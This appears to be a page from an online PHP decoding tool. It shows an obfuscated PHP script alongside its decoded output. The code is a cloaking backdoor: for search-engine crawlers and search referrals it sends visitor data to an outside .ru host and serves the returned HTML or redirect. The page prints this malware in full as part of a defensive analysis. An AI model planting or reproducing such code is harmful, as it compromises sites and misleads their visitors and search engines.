Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"G\x4c\x4f\x42A\x4c\x53"}["h\x6cs\x6a\x70\x72b\x6f\x64"]="\x70a\x67e";${"\x47\x4c\x4fB\x..
Decoded Output download
<? ${"GLOBALS"}["hlsjprbod"]="page";${"GLOBALS"}["crunxtk"]="m";
${"GLOBALS"}["klvxfnoxyb"]="scheme";${"GLOBALS"}["hqmtdhosjm"]="result";
${"GLOBALS"}["deqlfxjuhql"]="url";${"GLOBALS"}["vxyhqbhqw"]="ch";
@error_reporting(0);${"GLOBALS"}["hytcspcwkc"]="scheme";if(@file_exists("cleaner.php"))
{include_once("cleaner.php");}
if(!function_exists("getUrla"))
{function getUrla($url){$udayqnemfwgw="result";
if(function_exists("curl_init")){
${"GLOBALS"}["imzljybc"]="ch";
${"GLOBALS"}["dpncldnui"]="ch";
${${"GLOBALS"}["dpncldnui"]}=curl_init();
${"GLOBALS"}["xookqrfq"]="result";
curl_setopt(${${"GLOBALS"}["vxyhqbhqw"]},CURLOPT_URL,${${"GLOBALS"}["deqlfxjuhql"]});
curl_setopt(${${"GLOBALS"}["imzljybc"]},CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");curl_setopt(${${"GLOBALS"}["vxyhqbhqw"]},CURLOPT_TIMEOUT,10);curl_setopt(${${"GLOBALS"}["vxyhqbhqw"]},CURLOPT_RETURNTRANSFER,true);${"GLOBALS"}["julnetu"]="ch";${${"GLOBALS"}["xookqrfq"]}=curl_exec(${${"GLOBALS"}["vxyhqbhqw"]});curl_close(${${"GLOBALS"}["julnetu"]});}else{$psniehisy="url";${"GLOBALS"}["pgxjcvdnv"]="result";${${"GLOBALS"}["pgxjcvdnv"]}=file_get_contents(${$psniehisy});}return${$udayqnemfwgw};}}${${"GLOBALS"}["hytcspcwkc"]}="http://";if(preg_match("#(googlebot|bingbot|yahoo|msnbot|aol)#i",$_SERVER["HTTP_USER_AGENT"])||preg_match("#(google|bing|yahoo|msn|aol)#i",@$_SERVER["HTTP_REFERER"])){${"GLOBALS"}["fclfekw"]="result";$jndfqlgpr="result";$rgdfgq="result";${${"GLOBALS"}["hqmtdhosjm"]}=getUrla("http://routetheflow.ru/ph/phdms.php?u=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&r=".urlencode(@$_SERVER["HTTP_REFERER"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]));${"GLOBALS"}["ditaqgmrw"]="result";if(${${"GLOBALS"}["hqmtdhosjm"]}=="IGNORE"){${"GLOBALS"}["zwqmxgfdcqa"]="page";if((!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!=="off")||$_SERVER["SERVER_PORT"]==443)${${"GLOBALS"}["klvxfnoxyb"]}="https://";${${"GLOBALS"}["zwqmxgfdcqa"]}=getUrla(${${"GLOBALS"}["klvxfnoxyb"]}.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);if(preg_match("#(\.pdf|\.jpg|\.jpeg|\.png|\.gif|\.css|\.js|\.tiff)#i",$_SERVER["REQUEST_URI"],${${"GLOBALS"}["crunxtk"]})){${"GLOBALS"}["llktngdgqytm"]="m";$lfkqhbnci="m";${"GLOBALS"}["yfxfmlslwsg"]="m";$qwftyqh="m";$eojrhwwlim="m";switch(${${"GLOBALS"}["crunxtk"]}[0]){case(preg_match("/(jpg|jpeg)/",${$eojrhwwlim}[0])?true:false):header("Content-Type: image/jpeg");break;case(preg_match("/pdf/",${${"GLOBALS"}["llktngdgqytm"]}[0])?true:false):header("Content-Type: application/pdf");break;case(preg_match("/png/",${${"GLOBALS"}["crunxtk"]}[0])?true:false):header("Content-Type: image/png");break;case(preg_match("/gif/",${$lfkqhbnci}[0])?true:false):header("Content-Type: image/gif");break;case(preg_match("/tiff/",${${"GLOBALS"}["crunxtk"]}[0])?true:false):header("Content-Type: application/font-tiff");break;case(preg_match("/css/",${${"GLOBALS"}["yfxfmlslwsg"]}[0])?true:false):header("Content-Type: text/css");break;case(preg_match("/\.js/",${$qwftyqh}[0])?true:false):header("Content-Type: application/x-javascript");break;default:header("Content-Type: text/html");}}echo${${"GLOBALS"}["hlsjprbod"]};exit;}${$rgdfgq}=base64_decode(${${"GLOBALS"}["ditaqgmrw"]});${"GLOBALS"}["aawdhteibvsv"]="result";${"GLOBALS"}["lrwumrivrybq"]="result";${${"GLOBALS"}["lrwumrivrybq"]}=unserialize(${${"GLOBALS"}["aawdhteibvsv"]});if(isset(${${"GLOBALS"}["hqmtdhosjm"]}["location"])&&${${"GLOBALS"}["fclfekw"]}["location"]!=""){${"GLOBALS"}["qhlbdvi"]="result";Header("HTTP/1.1 301 Moved Permanently");if(isset(${${"GLOBALS"}["hqmtdhosjm"]}["referer"])&&${${"GLOBALS"}["hqmtdhosjm"]}["referer"]!="")Header("Referer: ".${${"GLOBALS"}["qhlbdvi"]}["referer"]);Header("Location: ".${${"GLOBALS"}["hqmtdhosjm"]}["location"]);exit;}if(isset(${${"GLOBALS"}["hqmtdhosjm"]}["html"])&&${$jndfqlgpr}["html"]!="")
{$wftddfbxxue="result";echo${$wftddfbxxue}["html"];exit;}} ?>
Did this file decode correctly?
Original Code
${"G\x4c\x4f\x42A\x4c\x53"}["h\x6cs\x6a\x70\x72b\x6f\x64"]="\x70a\x67e";${"\x47\x4c\x4fB\x41\x4c\x53"}["c\x72u\x6e\x78\x74\x6b"]="\x6d";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["kl\x76\x78f\x6eo\x78\x79\x62"]="\x73c\x68\x65me";${"\x47\x4c\x4f\x42\x41L\x53"}["h\x71\x6dt\x64\x68osj\x6d"]="r\x65s\x75\x6c\x74";
${"GL\x4f\x42\x41L\x53"}["deq\x6cf\x78\x6a\x75h\x71\x6c"]="\x75\x72l";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76xyh\x71\x62\x68\x71\x77"]="\x63\x68";
@error_reporting(0);${"G\x4c\x4fB\x41LS"}["\x68\x79\x74\x63\x73pc\x77kc"]="\x73ch\x65\x6de";if(@file_exists("\x63leane\x72.p\x68p"))
{include_once("cl\x65a\x6e\x65\x72\x2e\x70\x68p");}
if(!function_exists("\x67etUrl\x61"))
{function getUrla($url){$udayqnemfwgw="\x72\x65\x73\x75\x6c\x74";
if(function_exists("c\x75\x72l_\x69ni\x74")){
${"G\x4cOB\x41\x4c\x53"}["\x69mz\x6c\x6ay\x62\x63"]="\x63\x68";
${"G\x4cO\x42A\x4c\x53"}["\x64pn\x63ld\x6e\x75i"]="\x63\x68";
${${"\x47\x4c\x4fB\x41\x4cS"}["d\x70\x6e\x63l\x64nu\x69"]}=curl_init();
${"G\x4c\x4fB\x41LS"}["\x78o\x6f\x6bqrf\x71"]="\x72e\x73\x75\x6ct";
curl_setopt(${${"G\x4c\x4f\x42A\x4c\x53"}["v\x78\x79\x68\x71\x62\x68q\x77"]},CURLOPT_URL,${${"\x47\x4cO\x42\x41L\x53"}["d\x65\x71\x6c\x66\x78\x6au\x68\x71l"]});
curl_setopt(${${"\x47\x4c\x4f\x42AL\x53"}["\x69m\x7a\x6c\x6ay\x62c"]},CURLOPT_USERAGENT,"\x4d\x6fz\x69\x6cl\x61/\x35\x2e0\x20(Wi\x6e\x64ows\x20\x4e\x54\x20\x310\x2e\x30\x3b W\x4f\x5764) A\x70pl\x65W\x65\x62\x4bit/\x35\x33\x37\x2e\x33\x36\x20(\x4b\x48\x54\x4dL, li\x6b\x65\x20\x47e\x63k\x6f) Ch\x72\x6f\x6de/60.0\x2e\x33112\x2e\x311\x33 \x53\x61f\x61ri/53\x37\x2e\x33\x36");curl_setopt(${${"\x47L\x4f\x42\x41L\x53"}["\x76\x78\x79\x68qb\x68\x71\x77"]},CURLOPT_TIMEOUT,10);curl_setopt(${${"\x47\x4c\x4fB\x41L\x53"}["\x76\x78\x79h\x71\x62hq\x77"]},CURLOPT_RETURNTRANSFER,true);${"\x47\x4cO\x42\x41\x4c\x53"}["j\x75\x6c\x6e\x65\x74\x75"]="\x63\x68";${${"\x47\x4cO\x42\x41LS"}["x\x6f\x6f\x6b\x71\x72\x66q"]}=curl_exec(${${"\x47\x4c\x4fB\x41L\x53"}["v\x78y\x68q\x62\x68\x71\x77"]});curl_close(${${"\x47\x4c\x4fBALS"}["\x6a\x75l\x6e\x65tu"]});}else{$psniehisy="\x75rl";${"\x47\x4c\x4f\x42\x41LS"}["\x70g\x78\x6ac\x76\x64\x6e\x76"]="\x72\x65\x73\x75\x6ct";${${"\x47L\x4f\x42\x41\x4cS"}["p\x67\x78\x6a\x63\x76d\x6e\x76"]}=file_get_contents(${$psniehisy});}return${$udayqnemfwgw};}}${${"\x47\x4c\x4fBA\x4c\x53"}["\x68\x79t\x63\x73pc\x77\x6bc"]}="h\x74t\x70://";if(preg_match("\x23(g\x6fo\x67le\x62o\x74|b\x69n\x67b\x6f\x74|y\x61h\x6f\x6f|msnbot|\x61o\x6c)#\x69",$_SERVER["HTTP_USER_AGE\x4eT"])||preg_match("\x23(g\x6f\x6fgl\x65|bin\x67|\x79\x61ho\x6f|m\x73\x6e|\x61o\x6c)#\x69",@$_SERVER["\x48\x54TP\x5fR\x45\x46\x45\x52ER"])){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x66\x63\x6cf\x65\x6bw"]="\x72\x65\x73\x75\x6c\x74";$jndfqlgpr="r\x65\x73\x75lt";$rgdfgq="r\x65\x73u\x6ct";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68q\x6d\x74\x64\x68o\x73j\x6d"]}=getUrla("\x68tt\x70://ro\x75te\x74\x68e\x66l\x6f\x77.\x72u/\x70\x68/\x70hdms.ph\x70?u=".urlencode("htt\x70://".$_SERVER["\x48\x54TP_\x48\x4f\x53\x54"].$_SERVER["\x52E\x51U\x45S\x54_UR\x49"])."&r=".urlencode(@$_SERVER["\x48T\x54P_\x52\x45FE\x52E\x52"])."\x26a=".urlencode($_SERVER["\x48TTP\x5fUSE\x52_AGE\x4e\x54"]));${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x69\x74aqg\x6d\x72w"]="r\x65\x73\x75l\x74";if(${${"G\x4c\x4f\x42\x41\x4c\x53"}["h\x71\x6d\x74\x64\x68\x6fsj\x6d"]}=="IG\x4e\x4fR\x45"){${"\x47\x4c\x4fB\x41\x4cS"}["\x7aw\x71\x6d\x78\x67fd\x63\x71\x61"]="\x70a\x67\x65";if((!empty($_SERVER["H\x54TPS"])&&$_SERVER["\x48\x54TPS"]!=="\x6f\x66f")||$_SERVER["\x53\x45\x52\x56\x45\x52\x5fPOR\x54"]==443)${${"G\x4c\x4f\x42ALS"}["\x6b\x6cv\x78\x66\x6e\x6f\x78\x79b"]}="\x68\x74t\x70\x73://";${${"G\x4cOBALS"}["z\x77qm\x78\x67f\x64cq\x61"]}=getUrla(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6bl\x76\x78f\x6e\x6fx\x79\x62"]}.$_SERVER["H\x54\x54\x50\x5f\x48\x4f\x53T"].$_SERVER["RE\x51UES\x54_\x55\x52\x49"]);if(preg_match("#(\x5c.\x70d\x66|\\\x2e\x6a\x70\x67|\\\x2e\x6a\x70eg|\\\x2e\x70n\x67|\x5c.gi\x66|\x5c.\x63\x73\x73|\x5c.js|\\\x2etiff)\x23i",$_SERVER["R\x45Q\x55ES\x54\x5f\x55\x52I"],${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63ru\x6e\x78\x74k"]})){${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6clk\x74n\x67\x64gqy\x74\x6d"]="\x6d";$lfkqhbnci="\x6d";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x66\x78f\x6dl\x73\x6c\x77\x73\x67"]="m";$qwftyqh="\x6d";$eojrhwwlim="\x6d";switch(${${"\x47LOB\x41\x4c\x53"}["\x63\x72\x75\x6e\x78\x74\x6b"]}[0]){case(preg_match("/(\x6a\x70\x67|jpe\x67)/",${$eojrhwwlim}[0])?true:false):header("\x43ont\x65\x6et-\x54y\x70e: \x69m\x61\x67\x65/j\x70e\x67");break;case(preg_match("/pd\x66/",${${"G\x4c\x4fB\x41L\x53"}["l\x6c\x6bt\x6e\x67\x64\x67q\x79tm"]}[0])?true:false):header("\x43on\x74\x65\x6e\x74-\x54ype: a\x70\x70\x6ci\x63\x61\x74io\x6e/pd\x66");break;case(preg_match("/\x70ng/",${${"G\x4cO\x42\x41L\x53"}["c\x72\x75nx\x74\x6b"]}[0])?true:false):header("Cont\x65\x6et-\x54y\x70e: im\x61ge/\x70\x6e\x67");break;case(preg_match("/\x67\x69f/",${$lfkqhbnci}[0])?true:false):header("Co\x6e\x74\x65nt-Ty\x70e: ima\x67e/\x67i\x66");break;case(preg_match("/\x74iff/",${${"G\x4c\x4f\x42\x41\x4cS"}["\x63r\x75\x6e\x78\x74\x6b"]}[0])?true:false):header("Co\x6e\x74ent-T\x79pe: \x61\x70pl\x69\x63\x61t\x69\x6f\x6e/\x66o\x6et-ti\x66f");break;case(preg_match("/\x63\x73s/",${${"GLO\x42ALS"}["\x79f\x78\x66\x6d\x6cs\x6c\x77\x73\x67"]}[0])?true:false):header("Co\x6ete\x6e\x74-\x54\x79\x70\x65:\x20text/\x63\x73\x73");break;case(preg_match("/\x5c\x2ej\x73/",${$qwftyqh}[0])?true:false):header("\x43\x6f\x6ete\x6e\x74-\x54\x79p\x65:\x20\x61\x70p\x6c\x69c\x61\x74\x69on/\x78-\x6aa\x76\x61\x73c\x72\x69pt");break;default:header("\x43o\x6ete\x6e\x74-T\x79\x70e:\x20te\x78t/h\x74ml");}}echo${${"\x47L\x4f\x42A\x4cS"}["\x68ls\x6a\x70\x72bo\x64"]};exit;}${$rgdfgq}=base64_decode(${${"\x47\x4c\x4fBAL\x53"}["d\x69\x74\x61\x71\x67m\x72w"]});${"G\x4c\x4f\x42A\x4c\x53"}["a\x61\x77d\x68\x74\x65\x69\x62\x76sv"]="\x72es\x75\x6c\x74";${"G\x4c\x4f\x42A\x4c\x53"}["\x6crw\x75\x6d\x72\x69\x76\x72yb\x71"]="\x72e\x73\x75l\x74";${${"\x47\x4c\x4f\x42\x41LS"}["l\x72\x77um\x72\x69v\x72\x79b\x71"]}=unserialize(${${"\x47L\x4f\x42\x41LS"}["\x61\x61\x77d\x68\x74ei\x62\x76\x73\x76"]});if(isset(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x68\x71mt\x64h\x6f\x73j\x6d"]}["l\x6f\x63a\x74\x69on"])&&${${"\x47\x4cO\x42ALS"}["\x66\x63l\x66\x65\x6bw"]}["\x6coc\x61t\x69on"]!=""){${"G\x4cO\x42\x41\x4c\x53"}["q\x68l\x62dv\x69"]="r\x65\x73u\x6c\x74";Header("\x48\x54\x54P/\x31\x2e\x31 30\x31\x20Mo\x76\x65\x64 P\x65rm\x61ne\x6e\x74ly");if(isset(${${"G\x4cO\x42A\x4c\x53"}["h\x71mt\x64\x68\x6f\x73\x6a\x6d"]}["r\x65fere\x72"])&&${${"\x47\x4cOB\x41LS"}["h\x71\x6dtdh\x6f\x73\x6a\x6d"]}["\x72ef\x65\x72\x65r"]!="")Header("\x52\x65fe\x72\x65r:\x20".${${"\x47LOB\x41\x4cS"}["\x71h\x6c\x62\x64\x76i"]}["refer\x65\x72"]);Header("L\x6fc\x61\x74\x69on:\x20".${${"\x47\x4cO\x42\x41L\x53"}["\x68qm\x74\x64h\x6f\x73\x6a\x6d"]}["lo\x63a\x74\x69on"]);exit;}if(isset(${${"GL\x4f\x42\x41\x4c\x53"}["\x68\x71m\x74\x64ho\x73\x6a\x6d"]}["\x68\x74\x6dl"])&&${$jndfqlgpr}["h\x74\x6d\x6c"]!="")
{$wftddfbxxue="\x72es\x75\x6c\x74";echo${$wftddfbxxue}["\x68\x74m\x6c"];exit;}}
Function Calls
| file_exists | 1 |
| error_reporting | 1 |
Stats
| MD5 | 91f8f0506174ad06f5dcc95d36202d60 |
| Eval Count | 0 |
| Decode Time | 127 ms |